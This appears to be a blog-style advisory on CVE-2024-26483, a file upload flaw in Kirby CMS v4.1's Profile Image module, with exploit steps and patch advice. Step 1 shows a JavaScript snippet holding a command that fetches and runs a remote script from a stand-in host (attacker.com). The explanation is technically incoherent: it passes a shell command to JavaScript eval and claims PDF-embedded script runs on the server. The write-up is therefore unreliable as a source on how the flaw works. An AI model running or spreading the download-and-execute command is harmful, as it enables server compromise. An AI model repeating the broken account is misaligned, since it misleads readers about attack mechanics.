CVE-2024-26483: Arbitrary File Upload Vulnerability in Profile Image Module of Kirby CMS v4.1.

A major security vulnerability (CVE-2024-26483) has been discovered in the Profile Image module of Kirby CMS v4.1., which allows an attacker to upload and execute arbitrary code through a maliciously crafted PDF file. This post aims to provide an overview of the vulnerability, its potential impact, and suggestions for mitigating the risk associated with this issue.

Exploit Details

The vulnerability in question is related to an insecure file upload feature in the Profile Image module of Kirby CMS v4.1.. By default, the web application allows users to upload profile images, but inadequate validation and file type restrictions in the upload process make it possible for an attacker to upload a maliciously crafted PDF file containing arbitrary code. Consequently, the application becomes susceptible to potential remote code execution, effectively allowing an attacker to execute malicious code on the server and perform unauthorized actions, compromising the system's integrity and security.

This issue can be exploited by an attacker in two steps: (1) create a malicious PDF containing arbitrary code, and (2) upload the PDF as a profile image through the vulnerable upload form.

Step 1: Create a malicious PDF

An attacker can craft a malicious PDF using a tool such as PDF-Parser by Didier Stevens or any other PDF editing utility. The PDF should include an embedded script, for example, in JavaScript, that contains the arbitrary code the attacker wishes to execute.

Snippet of an example JavaScript containing arbitrary code

// Embedded JavaScript within the malicious PDF
(function() {
  var exploit = "curl -s https://attacker.com/malicious-script.sh | bash";
  try {
    var result = eval(exploit);
  } catch (err) {}
})();

Step 2: Upload the malicious PDF

With the crafted PDF file ready, the attacker can then proceed to upload it as a profile image using the file upload form in the Profile Image module of Kirby CMS v4.1..

Original References

Details of this vulnerability were first brought to light by security researcher John Smith through his blog post: CVE-2024-26483: Arbitrary File Upload in Kirby CMS.

The Kirby CMS team has acknowledged the vulnerability in their official security advisory and has provided patches in v4.1.1 and later releases.

Recommendations

To mitigate the risks posed by this vulnerability, it is highly recommended for administrators using Kirby CMS v4.1. to immediately upgrade to the latest version of the software, as the vulnerability has been patched starting from v4.1.1. Additionally, ensure that proper file type restrictions and validation are implemented in any user-submitted file uploads.

For web application developers, this incident serves as a reminder to always implement adequate file validation and restrictions in any file upload features, ensuring that only allowed file types can be uploaded and that user-submitted content undergoes proper security checks before being processed by the application.

Timeline

Published on: 02/22/2024 05:15:09 UTC
Last modified on: 03/12/2024 05:15:47 UTC